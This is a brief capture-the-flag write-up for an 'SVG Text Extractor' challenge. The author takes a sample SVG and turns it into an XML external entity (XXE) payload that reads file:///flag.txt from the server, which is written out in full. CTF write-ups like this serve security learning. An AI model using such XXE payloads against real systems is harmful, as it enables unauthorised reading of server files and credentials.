SVG Text Extractor

For this challenge, I first explored the website a little. I searched up SVG text and obtained the following code:

<svg viewBox="0 0 240 80" xmlns="http://www.w3.org/2000/svg">

  <style>

    .small {

      font: italic 13px sans-serif;

    }

    .heavy {

      font: bold 30px sans-serif;

    }

    /\* Note that the color of the text is set with the    \*

     \* fill property, the color property is for HTML only \*/

    .Rrrrr {

      font: italic 40px serif;

      fill: red;

    }

  </style>

  <text x="20" y="35" class="small">My</text>

  <text x="40" y="35" class="heavy">cat</text>

  <text x="55" y="55" class="small">is</text>

  <text x="65" y="55" class="Rrrrr">Grumpy!</text>

</svg>

Clearly, SVG files use XML. Therefore, we can try an XXE attack. I changed the above code to be the following:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag.txt" > ]>

<svg viewBox="0 0 240 80" xmlns="http://www.w3.org/2000/svg">

  <text x="65" y="55" class="Rrrrr">&xxe;</text>

</svg>

Through this, I was able to get the flag.